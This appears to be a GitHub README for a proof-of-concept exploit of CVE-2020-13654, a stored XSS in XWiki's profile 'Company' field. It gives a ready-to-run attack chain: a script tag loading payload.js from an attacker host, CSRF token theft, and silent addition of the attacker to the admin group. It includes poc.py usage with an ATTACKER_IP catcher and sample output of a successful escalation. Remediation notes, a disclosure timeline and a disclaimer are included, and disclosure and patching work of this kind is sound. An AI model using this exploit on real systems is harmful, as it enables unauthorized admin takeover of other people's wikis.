Discovered & reported by: Astaruf
Full writeup: https://nstsec.com/en/posts/xwiki-xss-cve-2020-13654/
NVD entry: https://nvd.nist.gov/vuln/detail/CVE-2020-13654
XWiki Platform before version 12.8 does not apply HTML encoding to user-controlled fields in the profile editor. The affected field confirmed during research is "Company" (under Edit → Personal Information), but other profile fields share the same code path.
When a profile page is rendered, the stored field value is output verbatim into the HTML without any call to $escapetool.xml() or equivalent escaping. An attacker with any authenticated account, including a freshly self-registered one, can store arbitrary HTML/JavaScript that executes persistently in the browser of every user who visits the profile, including administrators.
Root cause in the affected Velocity template:
## Vulnerable (< 12.8): value written directly to the DOM
$xwiki.getUserProperty($user, "company")
## Fixed (≥ 12.8): value HTML-encoded before output
$escapetool.xml($xwiki.getUserProperty($user, "company"))| Field | Value |
|---|---|
| Product | XWiki Platform |
| Affected versions | < 12.8 |
| Fixed in | 12.8 |
| CVSSv3 score | 7.5 (High) |
| CWE | CWE-116 — Improper Encoding or Escaping of Output |
This PoC demonstrates a zero-click privilege escalation chain:
Low-privilege attacker account
│
├─ stores <script src="http://attacker/payload.js"> in Company field
▼
XWiki profile page (poisoned)
│
├─ admin navigates to the page (e.g. via user list or support ticket)
▼
Payload executes in admin browser session
│
├─ fetches /bin/view/XWiki/XWikiAdminGroup → extracts CSRF token
├─ POSTs form_token + xpage=adduorg + name=attacker → adds attacker to XWikiAdminGroup
│
▼
Attacker now has full admin access
No admin interaction beyond a single page visit is required.
poc.py is a self-contained exploit script. It:
- Optionally self-registers a new low-privilege account via XWiki's open registration endpoint
- Authenticates the attacker account and injects the XSS payload into the
Companyprofile field, preserving all other existing field values - Verifies the payload is present in the rendered page source
- Starts an integrated HTTP server that serves the embedded JavaScript payload (
/payload.js) and logs incoming beacons - Waits for an administrator to visit the poisoned profile URL
When the admin visits the URL, the stored <script src="..."> tag loads payload.js from the attacker's server. The payload runs in the admin's authenticated browser context, silently adds the attacker's account to XWikiAdminGroup, and beacons the outcome back.
pip install -r requirements.txt
With self-registration (no pre-existing account needed):
python poc.py \
--target http://TARGET:8080 \
--catcher http://ATTACKER_IP:9000 \
--username hacker \
--password 'P@ssw0rd123' \
--register \
--first-name John \
--last-name Doe \
--email hacker@example.comWith an existing low-privilege account:
python poc.py \
--target http://TARGET:8080 \
--catcher http://ATTACKER_IP:9000 \
--username hacker \
--password 'P@ssw0rd123'| Argument | Required | Description |
|---|---|---|
--target |
✅ | XWiki base URL |
--catcher |
✅ | Attacker-controlled URL (used to serve payload.js and collect beacons) |
--username |
✅ | Attacker account username |
--password |
✅ | Attacker account password |
--register |
✗ | Auto-register the account before exploiting |
--first-name |
if --register |
Registration first name |
--last-name |
if --register |
Registration last name |
--email |
if --register |
Registration email |
[*] Registering account 'hacker' ...
✅ Registration successful.
[*] Authenticating as 'hacker' ...
✅ Authenticated. Session: {'JSESSIONID': 'ABC...'}
[*] Injecting payload into 'hacker' profile ...
✅ Payload stored: <script src="http://192.168.1.10:9000/payload.js"></script>
[*] Verifying stored payload ...
✅ Payload confirmed in page source.
════════════════════════════════════════════════════════════
EXPLOIT ARMED — WAITING FOR VICTIM
Share this URL with (or wait for) an administrator to visit:
>>> http://TARGET:8080/bin/view/XWiki/hacker
When triggered, the attacker account 'hacker'
will be silently added to XWikiAdminGroup.
════════════════════════════════════════════════════════════
2024-01-15 10:23:01 [INFO] 📡 Payload executing in victim browser | 172.18.0.1 | START_PRIVESC_FOR_XWiki.hacker
2024-01-15 10:23:01 [INFO] 🎯 PRIVILEGE ESCALATION SUCCEEDED | 172.18.0.1 | SUCCESS_ELEVATED_XWiki.hacker
Upgrade to XWiki Platform ≥ 12.8.
The fix applies $escapetool.xml() to all user-controlled profile fields before they are rendered, preventing injection of raw HTML/JavaScript.
If an immediate upgrade is not possible, restrict self-registration and limit profile visibility to trusted users via XWiki's access rights management.
| Date | Event |
|---|---|
| May 2020 | Vulnerability discovered |
| May 2020 | Reported to XWiki security team |
| Jul 2020 | Patched in XWiki Platform 12.8 |
| Nov 2020 | CVE-2020-13654 assigned by MITRE |
| Dec 30, 2020 | Public disclosure — nstsec.com |
- https://nvd.nist.gov/vuln/detail/CVE-2020-13654
- https://nstsec.com/en/posts/xwiki-xss-cve-2020-13654/
- https://github.com/xwiki/xwiki-platform
- https://cwe.mitre.org/data/definitions/116.html
This repository is provided for educational and authorized security research purposes only.
Do not use against systems you do not own or have explicit written permission to test.
The author assumes no liability for misuse.